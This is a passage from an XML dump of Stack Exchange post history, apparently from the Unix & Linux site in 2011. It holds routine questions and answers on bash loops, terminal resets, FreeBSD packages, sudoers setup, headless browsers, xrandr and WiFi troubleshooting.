-name '*.csv' -print0)&#xD;&#xA;    echo &quot;$i files processed&quot;&#xD;&#xA;&#xD;&#xA;Note that if you try copying and pasting this at the command line, `read line` will consume the `echo &quot;$i files processed&quot;`, so that command won't get run.&#xD;&#xA;&#xD;&#xA;To avoid this, you could remove `read line &lt;/dev/tty` and send the result to a pager like `less`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**NOTES**&#xD;&#xA;&#xD;&#xA;I removed the semi-colons (`;`) inside the loop.  You can put them back if you want, but they are not needed.&#xD;&#xA;&#xD;&#xA;These days, `$(command)` is more common than ``` `command` ```.  This is mainly because it's easier to write `$(command1 $(command2))` than ``` `command1 \`command2\`` ```.&#xD;&#xA;&#xD;&#xA;`read char` doesn't really read a character.  It reads a whole line so I changed it to `read line`.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Filename-Expansion&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/9496/looping-through-files-with-spaces-in-the-names/9500#9500&#xD;&#xA;  [3]: http://unix.stackexchange.com/users/4667/glenn-jackman" />
  <row Id="25481" PostHistoryTypeId="2" PostId="10569" RevisionGUID="0adbd44e-57f7-4def-b9fe-930e5176b552" CreationDate="2011-04-04T00:46:34.690" UserId="1290" Text="To be honest, I find myself in the same situation that you are quite often. Even though I'm not a beginner.&#xD;&#xA;&#xD;&#xA;But knowing which tool does what is, is something that will haunt you forever, especially, since new tools are coming in quite fast, are Distro dependent, and the UI changes sometimes from version to version (as with `tar`, that changed the meaning of the `-J` switch recently).&#xD;&#xA;&#xD;&#xA;Here's what I'm doing:&#xD;&#xA;&#xD;&#xA;1. I use Fedora, which uses RPM for package management. Suppose I'm looking for a tool that helps me edit ID3-Tags. I'd just use: `yum find ID3`.&#xD;&#xA;2. In case I don't find what I'm looking for, I'd consult Wikipedia. It sounds lazy and strange, but it's really quite reliable: http://en.wikipedia.org/wiki/Tag_editor#List_of_tag_editors&#xD;&#xA;3. Now, when I know what I'm basically looking for, but can't find the tool that suits me or the functionality in question (i.e. details, or comparison), I'd ask around on IRC or even here." />
  <row Id="25482" PostHistoryTypeId="2" PostId="10570" RevisionGUID="2442366e-6c64-4a9e-8b51-4e073f7bf6c1" CreationDate="2011-04-04T01:30:25.460" UserId="1900" Text="After running `cat` on some files I get the infamous 'bushes':&#xD;&#xA;␌⎺└⎻⎼␊⎽⎽␊␍ ├▒⎼ °␋┌␊. B␊├├␊⎼ ┤⎽␊ ├▒⎼'⎽ ≥ &#xD;&#xA;which I believe are result of encoding being changed.&#xD;&#xA;Is there any way to recover the terminal after the encoding has changed?&#xD;&#xA;" />
  <row Id="25483" PostHistoryTypeId="1" PostId="10570" RevisionGUID="2442366e-6c64-4a9e-8b51-4e073f7bf6c1" CreationDate="2011-04-04T01:30:25.460" UserId="1900" Text="Encoding changed after running cat" />
  <row Id="25484" PostHistoryTypeId="3" PostId="10570" RevisionGUID="2442366e-6c64-4a9e-8b51-4e073f7bf6c1" CreationDate="2011-04-04T01:30:25.460" UserId="1900" Text="ébashàécharacteröencodingà" />
  <row Id="25485" PostHistoryTypeId="2" PostId="10571" RevisionGUID="4ee015b4-e2b9-42f0-943f-2599bb1684c5" CreationDate="2011-04-04T01:33:16.423" UserId="73" Text="Run `reset`. From the man page:&#xD;&#xA;&#xD;&#xA;&gt; When invoked as reset, tset sets cooked and echo modes, turns off cbreak and raw modes, turns on newline translation and resets any unset special characters to their default values before doing the terminal initialization described above.  This is useful after a program dies leaving a terminal in an abnormal state.  &#xD;&#xA;" />
  <row Id="25486" PostHistoryTypeId="2" PostId="10572" RevisionGUID="852b561f-7092-40c9-b0f3-a087376d89b3" CreationDate="2011-04-04T01:34:39.893" UserId="5325" Text="`tput sgr0`, `tput rmacs`, or `tput reset`.  `reset` is usually but not always even more complete than `tput reset`.  (Turn off all special output modes; turn off alternate character set, which is usually but not always included in `sgr0`; send terminal reset string which often does those and more.)&#xD;&#xA;&#xD;&#xA;It can be useful to embed `tput sgr0` at the beginning of `$PS1`." />
  <row Id="25487" PostHistoryTypeId="2" PostId="10573" RevisionGUID="e372bfa6-e21a-4af8-a7ae-3334d44de977" CreationDate="2011-04-04T02:09:14.117" UserId="6250" Text="Using FreeBSD 8.2-RELEASE.  I want to use the latest binary packages rather than the packages at the time of the 8.2 release.  That is, I want to use packages in ftp://ftp2.freebsd.org/pub/FreeBSD/ports/i386/packages-8-stable/All/ rather than ftp://ftp2.freebsd.org/pub/FreeBSD/ports/i386/packages-8.2-release/All/.  &#xD;&#xA;&#xD;&#xA;I'm not interested in compiling a bunch of stuff so I don't want to simply upgrade ports and then be forced to compile everything.  For compiling small things it's ok, but I don't want to wait hours to get some of the bigger programs.&#xD;&#xA;&#xD;&#xA;How can I get my system to use the stable binary packages (and upgrade ports so everything is in sync)?" />
  <row Id="25488" PostHistoryTypeId="1" PostId="10573" RevisionGUID="e372bfa6-e21a-4af8-a7ae-3334d44de977" CreationDate="2011-04-04T02:09:14.117" UserId="6250" Text="FreeBSD: Getting pkg_add to use stable packages rather than release packages?" />
  <row Id="25489" PostHistoryTypeId="3" PostId="10573" RevisionGUID="e372bfa6-e21a-4af8-a7ae-3334d44de977" CreationDate="2011-04-04T02:09:14.117" UserId="6250" Text="épackageömanagementàéfreebsdàéportsàéupgradeàéfreebsd82à" />
  <row Id="25490" PostHistoryTypeId="25" PostId="10570" RevisionGUID="293b051c-a6e0-4be0-ba49-2ddbea66ef09" CreationDate="2011-04-04T03:08:59.830" Comment="http://twitter.com/#!/StackUnix/status/54742232351252481" />
  <row Id="25491" PostHistoryTypeId="2" PostId="10574" RevisionGUID="05c14489-ec1e-4f56-8d98-373202726de5" CreationDate="2011-04-04T04:06:16.700" UserId="3169" Text="Long time since I've used FreeBSD, but it looks like you mean `pkg_add -r &lt;package&gt;`?&#xD;&#xA;&#xD;&#xA;As far as I can tell, `pkg_add` is defaulting to a URL based on `uname -r`.&#xD;&#xA;&#xD;&#xA;So perhaps you should upgrade the base system using the instructions in the handbook (e.g. [Rebuilding &quot;world&quot;](http://www.freebsd.org/doc/handbook/makeworld.html).&#xD;&#xA;&#xD;&#xA;Or maybe the PACKAGESITE, PACKAGEROOT, and PKG_ADD_BASE environment variables can help?" />
  <row Id="25492" PostHistoryTypeId="2" PostId="10575" RevisionGUID="732c8649-2913-4bb7-84e7-23ed7247a3f3" CreationDate="2011-04-04T04:50:18.143" UserId="6269" Text="I'm installing Globus Toolkit . When i try to setup Certificate , this error comes :&#xD;&#xA;&#xD;&#xA;&gt;ERROR:  could not run build command: /usr/local/globus-5.0.3/sbin/gpt-build -force /home/globus/.globus/simpleCA//globus_simple_ca_2e0087ee_setup-0.20.tar.gz&#xD;&#xA;&#xD;&#xA;I think this may be due to denial of permission. I tried executing the file with 'sudo' . It says &#xD;&#xA;&#xD;&#xA;&gt;globus is not in sudoers file . This incident will be reported&#xD;&#xA;&#xD;&#xA;I tried adding globus user to sudoers file . &#xD;&#xA;&#xD;&#xA;For your reference , &#xD;&#xA;/etc/group file :&#xD;&#xA;&#xD;&#xA;&gt;sudo:x:27:globus,arul&#xD;&#xA;&#xD;&#xA;&gt;admin:x:1002:arul,globus&#xD;&#xA;&#xD;&#xA;(I'm using Linux Mint debian . user arul has sudo privilege . But i've to install Globus in the globus user)" />
  <row Id="25493" PostHistoryTypeId="1" PostId="10575" RevisionGUID="732c8649-2913-4bb7-84e7-23ed7247a3f3" CreationDate="2011-04-04T04:50:18.143" UserId="6269" Text="Can't add user to sudoers file" />
  <row Id="25494" PostHistoryTypeId="3" PostId="10575" RevisionGUID="732c8649-2913-4bb7-84e7-23ed7247a3f3" CreationDate="2011-04-04T04:50:18.143" UserId="6269" Text="édebianàésudoàélinuxömintà" />
  <row Id="25495" PostHistoryTypeId="2" PostId="10576" RevisionGUID="523b4d05-8121-4bc8-be03-2299da317759" CreationDate="2011-04-04T05:41:42.500" UserId="250" Text="After you add the user to sudoers, that user needs to log out and log back in for the changes to take effect. So, simply logging out and in should give your `globus` user sudo rights." />
  <row Id="25496" PostHistoryTypeId="5" PostId="10576" RevisionGUID="b251214e-62db-445c-a2a0-d350fe8f303c" CreationDate="2011-04-04T05:46:44.553" UserId="250" Comment="added 275 characters in body" Text="After you add the user to sudoers, that user needs to log out and log back in for the changes to take effect. So, simply logging out and in should give your `globus` user sudo rights.&#xD;&#xA;&#xD;&#xA;I'm assuming that you have the correct configuration in `/etc/sudoers`. To make `globus` a sudoer you need the line:&#xD;&#xA;&#xD;&#xA;    globus ALL=(ALL) ALL&#xD;&#xA;&#xD;&#xA;Or you need to add `globus` to the `wheel` group and then have the line:&#xD;&#xA;&#xD;&#xA;    %wheel ALL=(ALL) ALL&#xD;&#xA;&#xD;&#xA;Or some equivalent." />
  <row Id="25497" PostHistoryTypeId="25" PostId="10575" RevisionGUID="b7c1ab19-7e8a-45b7-a2ae-3f4b5b826677" CreationDate="2011-04-04T06:08:59.353" Comment="http://twitter.com/#!/StackUnix/status/54787529341276160" />
  <row Id="25498" PostHistoryTypeId="2" PostId="10577" RevisionGUID="69b5a1c7-5bef-4899-80a2-1a6de964a22f" CreationDate="2011-04-04T06:19:54.550" UserId="4896" Text="I need to load a page once per hour and execute the javascript on that page.  I currently load the page manually with Firefox, but I would like to automate this by running a cron job on the server, which is Ubuntu **Server** 8.04 LTS.   &#xD;&#xA;&#xD;&#xA;Some web searching suggests that the best thing would be to run `firefox -remote openurl(...)` and let gecko run the javascript, but this requires X11 which I don't know how to simulate on a server install.&#xD;&#xA;&#xD;&#xA;So essentially I want an hourly job to run `firefox` in a simulated environment and discard the output.  (I'm not wed to `firefox`... I'd happily take a `wget`-like command that executes javascript.)" />
  <row Id="25499" PostHistoryTypeId="1" PostId="10577" RevisionGUID="69b5a1c7-5bef-4899-80a2-1a6de964a22f" CreationDate="2011-04-04T06:19:54.550" UserId="4896" Text="Need to execute javascript as a cron job... possible?" />
  <row Id="25500" PostHistoryTypeId="3" PostId="10577" RevisionGUID="69b5a1c7-5bef-4899-80a2-1a6de964a22f" CreationDate="2011-04-04T06:19:54.550" UserId="4896" Text="écronàéwgetà" />
  <row Id="25501" PostHistoryTypeId="2" PostId="10578" RevisionGUID="c3de8813-4c24-47c7-9960-3da0b69870b4" CreationDate="2011-04-04T07:35:54.457" UserId="1535" Text="There's a vim addon called [textobj-user](http://www.vim.org/scripts/script.php?script_id=2100) that supports .. um, something like this.  Actually I'm not sure I understood what you're looking for, but I think that addon is meant to make it more convenient to write an addon to implement what you want." />
  <row Id="25505" PostHistoryTypeId="25" PostId="10577" RevisionGUID="2392f50c-512b-49d9-ab79-c032571652db" CreationDate="2011-04-04T09:09:00.920" Comment="http://twitter.com/#!/StackUnix/status/54832833507762176" />
  <row Id="25506" PostHistoryTypeId="2" PostId="10580" RevisionGUID="da7d13a5-646e-45e6-9e14-1f1628aea935" CreationDate="2011-04-04T11:53:08.953" UserId="4991" Text="It's marked as `Type Detail: Synchronous `  So I'm going with Registered.  From [Newegg's wiki](http://www.newegg.com/product/CategoryIntelligenceArticle.aspx?articleId=126#topic3):&#xD;&#xA;  &#xD;&#xA;&gt; Why is &quot;unbuffered&quot; the counterpart of &quot;registered&quot;? Buffers are known as &quot;asynchronous&quot; components, which is to say signals on the input pins appears directly on the out put pins. On the contrary, registers are known as &quot;synchronous&quot; components: new signals on the input pins do not show up immediately on the out put pins. Instead, they wait for the next tick of the system clock. &#xD;&#xA;" />
  <row Id="25508" PostHistoryTypeId="2" PostId="10581" RevisionGUID="573bef78-c135-4c7f-aa7d-f70b48f619f7" CreationDate="2011-04-04T12:14:24.600" UserId="2333" Text="I'm currently using Debian 6 with Xfce desktop, and I can't find any setting to make Thunar sort files properly; i.e., by ASCII order. I haven't been able to turn up anything via search engines either. Is there a setting in some config file somewhere that will do this?" />
  <row Id="25509" PostHistoryTypeId="1" PostId="10581" RevisionGUID="573bef78-c135-4c7f-aa7d-f70b48f619f7" CreationDate="2011-04-04T12:14:24.600" UserId="2333" Text="Is it possible to make thunar sort by ASCII order?" />
  <row Id="25510" PostHistoryTypeId="3" PostId="10581" RevisionGUID="573bef78-c135-4c7f-aa7d-f70b48f619f7" CreationDate="2011-04-04T12:14:24.600" UserId="2333" Text="éthunarà" />
  <row Id="25511" PostHistoryTypeId="2" PostId="10582" RevisionGUID="fa90d5ec-98a8-4a8b-af3f-2af08dfba455" CreationDate="2011-04-04T06:50:41.550" UserDisplayName="David" Text="Hi, i am trying to write a device driver for my gps module. somehow the linux os when loaded to my arm board have /dev directory read only.&#xD;&#xA;when i try to do a &quot;vi /dev/gps&quot; it says file is read only.&#xD;&#xA;&#xD;&#xA;due to this reason my application program can't open the /dev/gps.&#xD;&#xA;&#xD;&#xA;Anybody know what is the problem here. May be i am too vague.&#xD;&#xA;" />
  <row Id="25512" PostHistoryTypeId="1" PostId="10582" RevisionGUID="fa90d5ec-98a8-4a8b-af3f-2af08dfba455" CreationDate="2011-04-04T06:50:41.550" UserDisplayName="David" Text="/dev mounted as readonly" />
  <row Id="25513" PostHistoryTypeId="3" PostId="10582" RevisionGUID="fa90d5ec-98a8-4a8b-af3f-2af08dfba455" CreationDate="2011-04-04T06:50:41.550" UserDisplayName="David" Text="édriversà" />
  <row Id="25514" PostHistoryTypeId="17" PostId="10582" RevisionGUID="945b6506-9ead-4b56-a885-2904aa042afe" CreationDate="2011-04-04T12:20:17.233" UserId="-1" Comment="from http://electronics.stackexchange.com/questions/12514/dev-mounted-as-readonly" Text="" />
  <row Id="25515" PostHistoryTypeId="2" PostId="10583" RevisionGUID="3f6fec74-4ed6-4c55-be47-feed126574c3" CreationDate="2011-04-04T12:23:19.103" UserId="6275" Text="You could try http://www.phantomjs.org/ a headless WebKit browser." />
  <row Id="25516" PostHistoryTypeId="2" PostId="10584" RevisionGUID="e4db4e99-512f-4a53-8feb-32f92e96ad2b" CreationDate="2011-04-04T12:06:06.230" UserId="6116" Text="distro: linux mint 9&#xD;&#xA;&#xD;&#xA;I'm using a 8gig usb stick and it is getting pretty full. &#xD;&#xA;Mostly it fills up with the PKGs that I install.&#xD;&#xA;&#xD;&#xA;How do I move , not all but some, packages/ software/ apps to my internal drive?&#xD;&#xA;" />
  <row Id="25517" PostHistoryTypeId="1" PostId="10584" RevisionGUID="e4db4e99-512f-4a53-8feb-32f92e96ad2b" CreationDate="2011-04-04T12:06:06.230" UserId="6116" Text="How to put PKGs on a separate drive to save disk space?" />
  <row Id="25518" PostHistoryTypeId="3" PostId="10584" RevisionGUID="e4db4e99-512f-4a53-8feb-32f92e96ad2b" CreationDate="2011-04-04T12:06:06.230" UserId="6116" Text="éusbà" />
  <row Id="25519" PostHistoryTypeId="17" PostId="10584" RevisionGUID="d7fe8892-4057-49fd-8efe-27e2e6627ad3" CreationDate="2011-04-04T12:38:02.723" UserId="-1" Comment="from http://askubuntu.com/questions/33458/how-to-put-pkgs-on-a-separate-drive-to-save-disk-space" Text="" />
  <row Id="25520" PostHistoryTypeId="2" PostId="10585" RevisionGUID="fdd26fd9-5891-4ba4-b9ca-bbd1d9b52f41" CreationDate="2011-04-04T13:47:54.190" UserId="6278" Text="Hi,&#xD;&#xA;&#xD;&#xA;I just wrote a little program which logs all calls of bash during the boot process. This is a part of the output produced:&#xD;&#xA;&#xD;&#xA;    (root) '/bin/bash-' '-c' 'gzip -d -c /usr/share/kbd/keymaps/i386/qwerty/us.map.gz'&#xD;&#xA;    (root) '/bin/bash-' '-c' 'gzip -d -c /usr/share/kbd/keymaps/i386/qwerty/../include/euro1.map.gz'&#xD;&#xA;    (root) '/bin/bash-' '/etc/rc.multi'&#xD;&#xA;    (root) '/bin/bash-' '/etc/rc.d/syslog-ng' 'start'&#xD;&#xA;    (root) '/bin/bash-' '/etc/rc.d/dbus' 'start'&#xD;&#xA;    (root) '/bin/bash-' '/etc/rc.d/network' 'start'&#xD;&#xA;    (root) '/bin/bash-' '/usr/lib/dhcpcd/dhcpcd-run-hooks'&#xD;&#xA;    (root) '/bin/bash-' '/usr/lib/dhcpcd/dhcpcd-run-hooks'&#xD;&#xA;    (root) '/bin/bash-' '/usr/lib/dhcpcd/dhcpcd-run-hooks'&#xD;&#xA;    (root) '/bin/bash-' '/etc/rc.d/netfs' 'start'&#xD;&#xA;&#xD;&#xA;First column is the user, 2nd the program called (I only log bash here), 3rd column are the arguments.&#xD;&#xA;Now assume I want to replace one of these calls: Where can I find them? I assume there must be some program/script/data file which has all these calls in it?!?" />
  <row Id="25521" PostHistoryTypeId="1" PostId="10585" RevisionGUID="fdd26fd9-5891-4ba4-b9ca-bbd1d9b52f41" CreationDate="2011-04-04T13:47:54.190" UserId="6278" Text="Where are the program calls of the boot process stored" />
  <row Id="25522" PostHistoryTypeId="3" PostId="10585" RevisionGUID="fdd26fd9-5891-4ba4-b9ca-bbd1d9b52f41" CreationDate="2011-04-04T13:47:54.190" UserId="6278" Text="éshellöscriptàébootà" />
  <row Id="25523" PostHistoryTypeId="2" PostId="10586" RevisionGUID="b92a9f51-d6a5-4287-8563-d55afd74cb01" CreationDate="2011-04-04T11:15:12.223" UserDisplayName="Sumit" Text="Hi, &#xD;&#xA;&#xD;&#xA;I want to kuu to an account which requires password. I want to do this inside a shell script. Can someone help me out here?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Sumit " />
  <row Id="25524" PostHistoryTypeId="1" PostId="10586" RevisionGUID="b92a9f51-d6a5-4287-8563-d55afd74cb01" CreationDate="2011-04-04T11:15:12.223" UserDisplayName="Sumit" Text="How to call a kuu from a shell script" />
  <row Id="25525" PostHistoryTypeId="3" PostId="10586" RevisionGUID="b92a9f51-d6a5-4287-8563-d55afd74cb01" CreationDate="2011-04-04T11:15:12.223" UserDisplayName="Sumit" Text="éshellà" />
  <row Id="25526" PostHistoryTypeId="17" PostId="10586" RevisionGUID="8a67db2a-1b66-413d-87f5-3fa85e557890" CreationDate="2011-04-04T14:14:50.493" UserId="-1" Comment="from http://stackoverflow.com/questions/5537681/how-to-call-a-kuu-from-a-shell-script" Text="" />
  <row Id="25527" PostHistoryTypeId="2" PostId="10587" RevisionGUID="16b22cf3-4b8d-4c2e-a370-06937ce1312c" CreationDate="2011-04-04T15:06:53.813" UserId="250" Text="For Arch, the boot process uses `init`, which reads configuration from `/etc/initab`. Customization may also be made in `/etc/rc.conf`, but I think you'll have to dig into the init scripts specified in `/etc/initab`. See [Arch Boot Process][1] for more information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Arch_Boot_Process" />
  <row Id="25528" PostHistoryTypeId="5" PostId="10586" RevisionGUID="64145378-ee4f-4287-99df-80e996f96fbe" CreationDate="2011-04-04T15:08:47.913" UserId="73" Comment="added 5 characters in body" Text="I want to kuu to an account which requires a password, but I want to do this inside a shell script. How can I provide the password from the shell script?&#xD;&#xA;" />
  <row Id="25529" PostHistoryTypeId="25" PostId="10581" RevisionGUID="564ed72e-6ff3-46ef-8ac5-a9a914e3fc4a" CreationDate="2011-04-04T15:09:00.673" Comment="http://twitter.com/#!/StackUnix/status/54923430415437824" />
  <row Id="25530" PostHistoryTypeId="2" PostId="10588" RevisionGUID="b890247b-5e83-48e2-870b-29679226e409" CreationDate="2011-04-04T15:27:15.957" UserId="1594" Text="I'm a unix noob, looking for a good replacement to Windows 7's start menu (pressing Windows key and typing &quot;Ch&quot; will bring up Chrome).&#xD;&#xA;&#xD;&#xA;I was told I can just press Alt-F2 to get a launcher, but it's a bit slow, and it doesn't seem to do auto-complete (at least not out of the box)" />
  <row Id="25531" PostHistoryTypeId="1" PostId="10588" RevisionGUID="b890247b-5e83-48e2-870b-29679226e409" CreationDate="2011-04-04T15:27:15.957" UserId="1594" Text="What's a good Launcher app?" />
  <row Id="25532" PostHistoryTypeId="3" PostId="10588" RevisionGUID="b890247b-5e83-48e2-870b-29679226e409" CreationDate="2011-04-04T15:27:15.957" UserId="1594" Text="éubuntuàélauncherà" />
  <row Id="25533" PostHistoryTypeId="2" PostId="10589" RevisionGUID="3ce4688e-f350-4150-a61d-080556fe8c26" CreationDate="2011-04-04T15:29:15.827" UserId="1594" Text="I pressed something and accidentally swapped my two screens. My left one is actually considered as the right one, and vice versa. How can I swap them back?" />
  <row Id="25534" PostHistoryTypeId="1" PostId="10589" RevisionGUID="3ce4688e-f350-4150-a61d-080556fe8c26" CreationDate="2011-04-04T15:29:15.827" UserId="1594" Text="How can I swap my two screens, left to right?" />
  <row Id="25535" PostHistoryTypeId="3" PostId="10589" RevisionGUID="3ce4688e-f350-4150-a61d-080556fe8c26" CreationDate="2011-04-04T15:29:15.827" UserId="1594" Text="éscreenà" />
  <row Id="25536" PostHistoryTypeId="4" PostId="10588" RevisionGUID="3030b227-203f-487f-9b64-4fb36af498f6" CreationDate="2011-04-04T15:35:06.347" UserId="2511" Comment="edited title" Text="What's a quick Launcher app which will do auto-complete?" />
  <row Id="25537" PostHistoryTypeId="5" PostId="2665" RevisionGUID="eec50fb9-aae1-4296-8772-2ca521dfb37e" CreationDate="2011-04-04T15:46:19.910" UserId="73" Comment="added 4 characters in body" Text="I had some success using **[bashrun][1]**. It's simple, has many features, and is very customizable.&#xD;&#xA;&#xD;&#xA;a few [screenshots][2]:&#xD;&#xA;&#xD;&#xA;![bashrun][3]  &#xD;&#xA;&#xD;&#xA;![large][4]&#xD;&#xA;&#xD;&#xA;  [1]:http://bashrun.sourceforge.net/&#xD;&#xA;  [2]:http://bashrun.sourceforge.net/screenshots.htm&#xD;&#xA;  [3]:http://bashrun.sourceforge.net/screenshot.jpg&#xD;&#xA;  [4]:http://bashrun.sourceforge.net/screenshot-complete.jpg" />
  <row Id="25538" PostHistoryTypeId="2" PostId="10590" RevisionGUID="129e8d2f-043b-4fa1-a144-40b660088238" CreationDate="2011-04-04T15:46:35.667" UserId="50" Text="[Gnome Do](http://do.davebsd.com/) works great. The default key binding is super + space." />
  <row Id="25539" PostHistoryTypeId="2" PostId="10591" RevisionGUID="cc205090-e676-48c2-9cdc-de371a2c2803" CreationDate="2011-04-04T16:32:33.707" UserId="6280" Text="Gnome Do is probably the best, and certainly the easiest to use. Others are available such as Kupfer and Synapse.&#xD;&#xA;&#xD;&#xA;If you are using Ubuntu, the default interface (Unity) will have one in 11.04, so you just have to wait a month and it'll be available to you." />
  <row Id="25540" PostHistoryTypeId="2" PostId="10592" RevisionGUID="b1792a60-5df0-478d-af62-32648ab60e91" CreationDate="2011-04-04T17:29:47.733" UserId="4856" Text="I am trying to buy tickets on stubhub.com but the site is telling that I need to install the flash plugin. I already have a 64-bit flash plugin (Adobe) installed on my Fedora 14 64-bit system. youtube and all other flash content I have tried has worked fine. Just stubhub.com is a problem. I have tried both Firefox 4 and Chrome 9 with no success, however the page loaded fine on Chrome in Windows 7. So I am not sure if it is my plugin or browser, or both that is to blame. I was thinking about trying a 32bit plugin but I am not sure if that would work.&#xD;&#xA;&#xD;&#xA;There was a thread at linuxquestions.org, but no solutions:&#xD;&#xA;http://www.linuxquestions.org/questions/slackware-14/flash-player-problem-sometimes-857110/&#xD;&#xA;&#xD;&#xA;Is there anyway that I can diagnose and bypass the plugin check on stubhub.com?&#xD;&#xA;&#xD;&#xA;I am sorry if this isn't a very clear question, but I never thought Linux would come between me and a pair of Yankees tickets." />
  <row Id="25541" PostHistoryTypeId="1" PostId="10592" RevisionGUID="b1792a60-5df0-478d-af62-32648ab60e91" CreationDate="2011-04-04T17:29:47.733" UserId="4856" Text="How to access flash site that is rejecting my plugin (64-bit)?" />
  <row Id="25542" PostHistoryTypeId="3" PostId="10592" RevisionGUID="b1792a60-5df0-478d-af62-32648ab60e91" CreationDate="2011-04-04T17:29:47.733" UserId="4856" Text="échromeàéfirefoxàéflashàéadobeöflashà" />
  <row Id="25543" PostHistoryTypeId="25" PostId="10589" RevisionGUID="776574fa-5ecb-491e-835d-69a2993874ff" CreationDate="2011-04-04T18:09:00.507" Comment="http://twitter.com/#!/StackUnix/status/54968727237701632" />
  <row Id="25544" PostHistoryTypeId="2" PostId="10593" RevisionGUID="efbc6b1e-5cf5-4d05-b602-710c6c05e2a6" CreationDate="2011-04-04T18:11:12.747" UserId="885" Text="Your desktop environment probably has a way, but you don't say which one you're using (if any).&#xD;&#xA;&#xD;&#xA;If your display driver is compatible with the [XRandR extension](http://www.x.org/wiki/Projects/XRandR), which is the standard X.org method for managing display resolutions and arrangements, you can use the command-line utility [`xrandr`](http://www.x.org/releases/current/doc/man/man1/xrandr.1.xhtml). I think the proprietary NVidia driver bypasses XRandR, so if you're using it, you'll have to use a dedicated NVidia tool.&#xD;&#xA;&#xD;&#xA;Run `xrandr` (with no argument) to see your monitor (screen) arrangement. You'll see lines like these:&#xD;&#xA;&#xD;&#xA;    DVI-0 connected 1600x1200+1600+0 (normal left inverted right x axis y axis) 408mm x 306mm&#xD;&#xA;    DVI-1 connected 1600x1200+0+0 (normal left inverted right x axis y axis) 408mm x 306mm&#xD;&#xA;&#xD;&#xA;This example means that I have two monitors called `DVI-0` and `DVI-1`, and `DVI-1` is at the top left (position `+0+0`) while `DVI-0` is to its right (position `+1600+0`). To swap them, I would run&#xD;&#xA;&#xD;&#xA;    xrandr --output DVI-0 --left-of DVI-1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25545" PostHistoryTypeId="6" PostId="10589" RevisionGUID="3841b903-d9af-4956-9371-bef7a6dcb1e9" CreationDate="2011-04-04T18:11:33.417" UserId="885" Comment="edited tags" Text="éxorgàémonitoràédualömonitoràéxrandrà" />
  <row Id="25546" PostHistoryTypeId="6" PostId="10585" RevisionGUID="6f0ff916-fd02-4b9b-950c-a2e092be468a" CreationDate="2011-04-04T18:19:46.233" UserId="885" Comment="edited tags" Text="éshellöscriptàéarchölinuxàébootà" />
  <row Id="25547" PostHistoryTypeId="6" PostId="10584" RevisionGUID="7e01f299-c00c-447c-9cdc-99bfb4d4d39c" CreationDate="2011-04-04T18:20:52.393" UserId="885" Comment="edited tags" Text="épackageömanagementàédisköusageàélinuxömintà" />
  <row Id="25548" PostHistoryTypeId="2" PostId="10594" RevisionGUID="3202d965-e2e8-4e9e-9467-e5c7e4c184c5" CreationDate="2011-04-04T18:36:17.140" UserId="885" Text="You can run a graphical browser (e.g. Firefox) that's displaying in a virtual X server (Xvfb). See [How can I run Firefox on Linux headlessly (i.e. without requiring libgtk-x11-2.0.so.0)?](http://unix.stackexchange.com/questions/9107/how-can-i-run-firefox-on-linux-headlessly-i-e-without-requiring-libgtk-x11-2-0), and perhaps also [How do I start Xvfb on startup on Debian?](http://unix.stackexchange.com/questions/10465/how-do-i-start-xvfb-on-startup-on-debian).&#xD;&#xA;&#xD;&#xA;[Elinks](http://elinks.or.cz/) is a text mode browser with optional Javascript support. The version in Ubuntu 8.04 is compiled without the JS support, so you'd have to compile your own and link it with the [Mozilla SpiderMonkey JavaScript library](http://www.mozilla.org/js/). [These instructions in the manual](http://elinks.or.cz/documentation/manual.html#ecmascript) may help.&#xD;&#xA;" />
  <row Id="25549" PostHistoryTypeId="6" PostId="10577" RevisionGUID="76545f1b-2871-44e5-bb76-7b1a9b527f70" CreationDate="2011-04-04T18:36:40.760" UserId="885" Comment="edited tags" Text="éwgetàéheadlessàéjavascriptà" />
  <row Id="25550" PostHistoryTypeId="5" PostId="10553" RevisionGUID="4bb5b692-ff69-432c-848f-6412b45b9731" CreationDate="2011-04-04T18:46:08.973" UserId="4159" Comment="added 1150 characters in body" Text="First, i'm not an expert in Linux but i can fairly move and play around with the OS.&#xD;&#xA;&#xD;&#xA;The problem in short is, i was able to find wireless networks, but when i try to authenticate it, network-manager keeps on asking me for my password. So it seems like it's not able to authenticate at all.&#xD;&#xA;&#xD;&#xA;In Windows 7 everything's working OK.&#xD;&#xA;&#xD;&#xA;So what i've done so far is. . .&#xD;&#xA;&#xD;&#xA;* i have installed firmware-iwlwifi_0.28_all.deb and was able to detect wireless networks&#xD;&#xA;* i reconfigured my wifi to wpa2 personal, it does not work. i reconfigured it to use wep 128, it doesn't work either&#xD;&#xA;* i tried to install ubuntu, and it poses the same problem :(&#xD;&#xA;&#xD;&#xA;Here's my PC information:&#xD;&#xA;&#xD;&#xA;Asus K42JA. I used the 64 bit installer of Debian Live 6.0.1 and Ubuntu 10.10&#xD;&#xA;&#xD;&#xA;Can you help me with this? I can provide you log information, but i don't know where to find them. :(&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;here's the content of my /etc/network/interfaces.&#xD;&#xA;&#xD;&#xA;    auto lo&#xD;&#xA;    iface lo inet loopback&#xD;&#xA;    &#xD;&#xA;`lsmod` (iw* related information)&#xD;&#xA;&#xD;&#xA;    iwlagn   73139   0&#xD;&#xA;    iwlcore  77810   1   iwlagn&#xD;&#xA;&#xD;&#xA;here's what's inside daemon.log. hope you can help me fix this problem. i just bought this laptop :(&#xD;&#xA;&#xD;&#xA;    Apr  4 18:43:07 sophia NetworkManager[1849]: &lt;info&gt; (wlan0): supplicant connection state:  associating -&gt; disconnected&#xD;&#xA;    Apr  4 18:43:07 sophia NetworkManager[1849]: &lt;info&gt; (wlan0): supplicant connection state:  disconnected -&gt; scanning&#xD;&#xA;    Apr  4 18:43:08 sophia wpa_supplicant[1879]: Trying to associate with 00:24:01:1a:48:35 (SSID='Funshine' freq=2437 MHz)&#xD;&#xA;    Apr  4 18:43:08 sophia NetworkManager[1849]: &lt;info&gt; (wlan0): supplicant connection state:  scanning -&gt; associating&#xD;&#xA;    Apr  4 18:43:17 sophia NetworkManager[1849]: &lt;warn&gt; Activation (wlan0/wireless): association took too long.&#xD;&#xA;    Apr  4 18:43:17 sophia NetworkManager[1849]: &lt;info&gt; (wlan0): 